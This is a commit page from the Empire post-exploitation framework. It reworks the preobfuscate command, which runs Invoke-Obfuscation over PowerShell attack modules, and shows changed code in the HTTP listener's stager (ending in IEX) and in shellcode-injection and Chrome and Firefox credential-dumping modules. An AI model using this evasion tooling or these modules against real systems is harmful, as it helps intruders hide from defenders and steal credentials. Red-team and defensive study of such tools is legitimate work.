Skip to content

Commit

Permalink
Improved preobfuscate command, better support for invoke-obfuscation …
Browse files Browse the repository at this point in the history
…style obfuscate commands, added warning message when trying to obfuscate without PowerShell installed
  • Loading branch information
cobbr committed Apr 23, 2017
1 parent 886e33c commit dac5ba6
Show file tree
Hide file tree
Showing 197 changed files with 457 additions and 434 deletions.
114 changes: 55 additions & 59 deletions lib/common/empire.py
Original file line number Diff line number Diff line change
Expand Up @@ -575,10 +575,13 @@ def do_set(self, line):
self.agents.ipBlackList = helpers.generate_ip_list(",".join(parts[1:]))
elif parts[0].lower() == "obfuscate":
if parts[1].lower() == "true":
self.obfuscate = True
print helpers.color("[*] Obfuscating all future powershell commands run on all agents.")
if not helpers.is_powershell_installed():
print helpers.color("[!] PowerShell is not installed and is required to use obfuscation, please install it first.")
else:
self.obfuscate = True
print helpers.color("[*] Obfuscating all future powershell commands run on all agents.")
elif parts[1].lower() == "false":
print helpers.color("[*] Future powershell command run on all agent will no longer be obfuscated.")
print helpers.color("[*] Future powershell command run on all agents will not be obfuscated.")
self.obfuscate = False
else:
print helpers.color("[!] Valid options for obfuscate are 'true' or 'false'")
Expand Down Expand Up @@ -704,69 +707,54 @@ def do_interact(self, line):
print helpers.color("[!] Please enter a valid agent name")

def do_preobfuscate(self, line):
"Preobfuscate powershell modules"

"Preobfuscate PowerShell module_source files"

if not helpers.is_powershell_installed():
print helpers.color("[!] PowerShell is not installed and is required to use obfuscation, please install it first.")
return

module = line.strip()

obfuscate_all = False
obfuscate_confirmation = False
reobfuscate = False

# Preobfuscate ALL module_source files
if module == "" or module == "all":
choice = raw_input(helpers.color("[>] Preobfuscate all powershell modules using obfuscation command: \"" + self.obfuscateCommand + "\"? This may take a substantial amount of time. [y/N] ", "red"))
choice = raw_input(helpers.color("[>] Preobfuscate all PowerShell module_source files using obfuscation command: \"" + self.obfuscateCommand + "\"?\nThis may take a substantial amount of time. [y/N] ", "red"))
if choice.lower() != "" and choice.lower()[0] == "y":
reobfuscate = False
obfuscate_all = True
obfuscate_confirmation = True
choice = raw_input(helpers.color("[>] Force reobfuscation of previously obfuscated modules? [y/N] ", "red"))
if choice.lower() != "" and choice.lower()[0] == "y":
reobfuscate = True
originalPath = self.installPath + 'data/module_source'
pattern = '*.ps1'
for root, dirs, files in os.walk(originalPath):
for filename in fnmatch.filter(files, pattern):
filePath = os.path.join(root, filename)
obfuscatedFilePath = self.installPath + 'data/obfuscated_module_source' + filePath.split(originalPath)[-1]
if not os.path.isfile(obfuscatedFilePath) or reobfuscate:
(head, tail) = os.path.split(obfuscatedFilePath)
if not os.path.exists(head):
os.makedirs(head)
print helpers.color("[*] Obfuscating " + filename + "...")
fr = open(filePath, 'r')
script = fr.read()
fr.close()
fw = open(obfuscatedFilePath, 'w')
fw.write(helpers.obfuscate(script, self.installPath, obfuscationCommand=self.obfuscateCommand))
fw.close()
else:
print helpers.color("[*] " + filename + " already obfuscated.")
else:
originalPath = self.installPath + 'data/module_source'
pattern = '*.ps1'
foundChosenModule = False
for root, dirs, files in os.walk(originalPath):
for filename in fnmatch.filter(files, pattern):
filePath = os.path.join(root, filename)
if filePath.split(originalPath)[-1] == module:
foundChosenModule = True
obfuscatedFilePath = self.installPath + 'data/obfuscated_module_source' + filePath.split(originalPath)[-1]
choice = raw_input(helpers.color("[>] Preobfuscate module? [y/N] ", "red"))
if choice.lower() != "" and choice.lower()[0] == "y":
reobfuscate = False
choice = raw_input(helpers.color("[>] Force reobfuscation if module has been previously obfuscated? [y/N] ", "red"))
if choice.lower() != "" and choice.lower()[0] == "y":
reobfuscate = True
if not os.path.isfile(obfuscatedFilePath) or reobfuscate:
(head, tail) = os.path.split(obfuscatedFilePath)
if not os.path.exists(head):
os.makedirs(head)
print helpers.color("[*] Obfuscating " + filename + "...")
fr = open(filePath, 'r')
script = fr.read()
fr.close()
fw = open(obfuscatedFilePath, 'w')
fw.write(helpers.obfuscate(script, self.installPath, obfuscationCommand=self.obfuscateCommand))
fw.close()
else:
print helpers.color("[*] " + filename + " already obfuscated.")
if foundChosenModule:
print helpers.color("[*] Obfuscation complete.")

# Preobfuscate a selected module_source file
else:
module_source_fullpath = self.installPath + 'data/module_source/' + module
if not os.path.isfile(module_source_fullpath):
print helpers.color("[!] The module_source file:" + module_source_fullpath + " does not exist.")
return

choice = raw_input(helpers.color("[>] Preobfuscate the module_source file: " + module + " using obfuscation command: \"" + self.obfuscateCommand + "\"? [y/N] ", "red"))
if choice.lower() != "" and choice.lower()[0] == "y":
obfuscate_confirmation = True
choice = raw_input(helpers.color("[>] Force reobfuscation of previously obfuscated modules? [y/N] ", "red"))
if choice.lower() != "" and choice.lower()[0] == "y":
reobfuscate = True

# Perform obfuscation
if obfuscate_confirmation:
if obfuscate_all:
files = [file for file in helpers.get_module_source_files()]
else:
print helpers.color("[!] Please enter a valid module path.")
files = [self.installPath + 'data/module_source/' + module]
for file in files:
if reobfuscate or not helpers.is_obfuscated(file):
print helpers.color("[*] Obfuscating " + os.path.basename(file) + "...")
else:
print helpers.color("[*] " + os.path.basename(file) + " was already obfuscated. Not reobfuscating.")
helpers.obfuscate_module(file, self.obfuscateCommand, reobfuscate)


def complete_usemodule(self, text, line, begidx, endidx, language=None):
"Tab-complete an Empire module path."
Expand Down Expand Up @@ -856,6 +844,14 @@ def complete_interact(self, text, line, begidx, endidx):
offs = len(mline) - len(text)
return [s[offs:] for s in names if s.startswith(mline)]

def complete_preobfuscate(self, text, line, begidx, endidx):
"Tab-complete an interact command"
options = [ (option[len('data/module_source/'):]) for option in helpers.get_module_source_files() ]
options.append('all')

mline = line.partition(' ')[2]
offs = len(mline) - len(text)
return [s[offs:] for s in options if s.startswith(mline)]

class AgentsMenu(cmd.Cmd):
"""
Expand Down
53 changes: 40 additions & 13 deletions lib/common/helpers.py
Original file line number Diff line number Diff line change
Expand Up @@ -51,8 +51,8 @@
import pickle
from time import localtime, strftime
from Crypto.Random import random
from subprocess import call

import subprocess
import fnmatch

###############################################################
#
Expand Down Expand Up @@ -757,19 +757,37 @@ def dict_factory(cursor, row):
d[col[0]] = row[idx]
return d

# Obfuscate powershell scripts
def obfuscate(psScript, installPath, obfuscationCommand):
def get_module_source_files():
"""
Get the filepaths of PowerShell module_source files located
in the data/module_source directory.
"""
paths = []
pattern = '*.ps1'
for root, dirs, files in os.walk('data/module_source'):
for filename in fnmatch.filter(files, pattern):
paths.append(os.path.join(root, filename))
return paths

def obfuscate(psScript, obfuscationCommand):
"""
Obfuscate PowerShell scripts using Invoke-Obfuscation
"""
if not is_powershell_installed():
print color("[!] PowerShell is not installed and is required to use obfuscation, please install it first.")
return ""
# When obfuscating large scripts, command line length is too long. Need to save to temp file
toObfuscateFilename = installPath + "data/misc/ToObfuscate.ps1"
obfuscatedFilename = installPath + "data/misc/Obfuscated.ps1"
toObfuscateFilename = "data/misc/ToObfuscate.ps1"
obfuscatedFilename = "data/misc/Obfuscated.ps1"
toObfuscateFile = open(toObfuscateFilename, 'w')
toObfuscateFile.write(psScript)
toObfuscateFile.close()

# Obfuscate tokens
call("powershell 'Invoke-Obfuscation -ScriptPath %s -Command \"%s\" -Quiet | Out-File -Encoding ASCII %s'" % (toObfuscateFilename, obfuscationCommand, obfuscatedFilename), shell=True)
# Obfuscate using Invoke-Obfuscation w/ PowerShell
subprocess.call("powershell 'Invoke-Obfuscation -ScriptPath %s -Command \"%s\" -Quiet | Out-File -Encoding ASCII %s'" % (toObfuscateFilename, convert_obfuscation_command(obfuscationCommand), obfuscatedFilename), shell=True)

obfuscatedFile = open(obfuscatedFilename , 'r')
# Obfuscation writes a newline character to the end of the file, ignoring that character
psScript = obfuscatedFile.read()[0:-1]
obfuscatedFile.close()

Expand All @@ -782,7 +800,7 @@ def obfuscate_module(moduleSource, obfuscationCommand="", forceReobfuscation=Fal
try:
f = open(moduleSource, 'r')
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
print color("[!] Could not read module source path at: " + moduleSource)
return ""

moduleCode = f.read()
Expand All @@ -793,17 +811,26 @@ def obfuscate_module(moduleSource, obfuscationCommand="", forceReobfuscation=Fal
try:
f = open(obfuscatedSource, 'w')
except:
print helpers.color("[!] Could not read obfuscated module source path at: " + str(obfuscatedSource))
print color("[!] Could not read obfuscated module source path at: " + obfuscatedSource)
return ""
installPath = obfuscatedSource[0:(obfuscatedSource.find("data")-1)]
obfuscatedCode = obfuscate(psScript=moduleCode, installPath=installPath, obfuscationCommand=obfuscationCommand)
obfuscatedCode = obfuscate(psScript=moduleCode, obfuscationCommand=obfuscationCommand)
f.write(obfuscatedCode)
f.close()

def is_obfuscated(moduleSource):
obfuscatedSource = moduleSource.replace("module_source", "obfuscated_module_source")
return os.path.isfile(obfuscatedSource)

def is_powershell_installed():
try:
powershell_location = subprocess.check_output("which powershell", shell=True)
except subprocess.CalledProcessError as e:
return False
return True

def convert_obfuscation_command(obfuscate_command):
return "".join(obfuscate_command.split()).replace(",",",home,").replace("\\",",")

class KThread(threading.Thread):
"""
A subclass of threading.Thread, with a kill() method.
Expand Down
2 changes: 1 addition & 1 deletion lib/listeners/http.py
Original file line number Diff line number Diff line change
Expand Up @@ -238,7 +238,7 @@ def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="",
stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX")

if obfuscate:
stager = helpers.obfuscate(stager, self.mainMenu.installPath, obfuscationCommand=obfuscationCommand)
stager = helpers.obfuscate(stager, obfuscationCommand=obfuscationCommand)
# base64 encode the stager and return it
if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())):
return helpers.powershell_launcher(stager)
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -88,6 +88,6 @@ def generate(self, obfuscate=False, obfuscationCommand=""):
scriptEnd += " -" + str(option) + " " + str(values['Value'])

if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, installPath=self.mainMenu.installPath, obfuscationCommand=obfuscationCommand)
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd
return script
Original file line number Diff line number Diff line change
Expand Up @@ -72,6 +72,6 @@ def generate(self, obfuscate=False, obfuscationCommand=""):
else:
scriptEnd += " -" + str(option) + " " + str(values['Value'])
if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, installPath=self.mainMenu.installPath, obfuscationCommand=obfuscationCommand)
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd
return script
Original file line number Diff line number Diff line change
Expand Up @@ -127,6 +127,6 @@ def generate(self, obfuscate=False, obfuscationCommand=""):
scriptEnd += " -" + str(option) + " " + str(values['Value'])

if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, installPath=self.mainMenu.installPath, obfuscationCommand=obfuscationCommand)
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd
return script
2 changes: 1 addition & 1 deletion lib/modules/powershell/code_execution/invoke_shellcode.py
Original file line number Diff line number Diff line change
Expand Up @@ -145,6 +145,6 @@ def generate(self, obfuscate=False, obfuscationCommand=""):

scriptEnd += "; 'Shellcode injected.'"
if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, installPath=self.mainMenu.installPath, obfuscationCommand=obfuscationCommand)
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd
return script
4 changes: 2 additions & 2 deletions lib/modules/powershell/code_execution/invoke_shellcodemsil.py
Original file line number Diff line number Diff line change
Expand Up @@ -89,6 +89,6 @@ def generate(self, obfuscate=False, obfuscationCommand=""):
sc = ",0".join(values['Value'].split("\\"))[1:]
scriptEnd += " -" + str(option) + " @(" + sc + ")"
if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, installPath=self.mainMenu.installPath, obfuscationCommand=obfuscationCommand)
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd
return script
return script
2 changes: 1 addition & 1 deletion lib/modules/powershell/collection/ChromeDump.py
Original file line number Diff line number Diff line change
Expand Up @@ -103,6 +103,6 @@ def generate(self, obfuscate=False, obfuscationCommand=""):
else:
scriptEnd += " -" + str(option) + " " + str(values['Value'])
if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, installPath=self.mainMenu.installPath, obfuscationCommand=obfuscationCommand)
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd
return script
2 changes: 1 addition & 1 deletion lib/modules/powershell/collection/FoxDump.py
Original file line number Diff line number Diff line change
Expand Up @@ -107,6 +107,6 @@ def generate(self, obfuscate=False, obfuscationCommand=""):
else:
scriptEnd += " -" + str(option) + " " + str(values['Value'])
if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, installPath=self.mainMenu.installPath, obfuscationCommand=obfuscationCommand)
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd
return script
Loading

0 comments on commit dac5ba6

Please sign in to comment.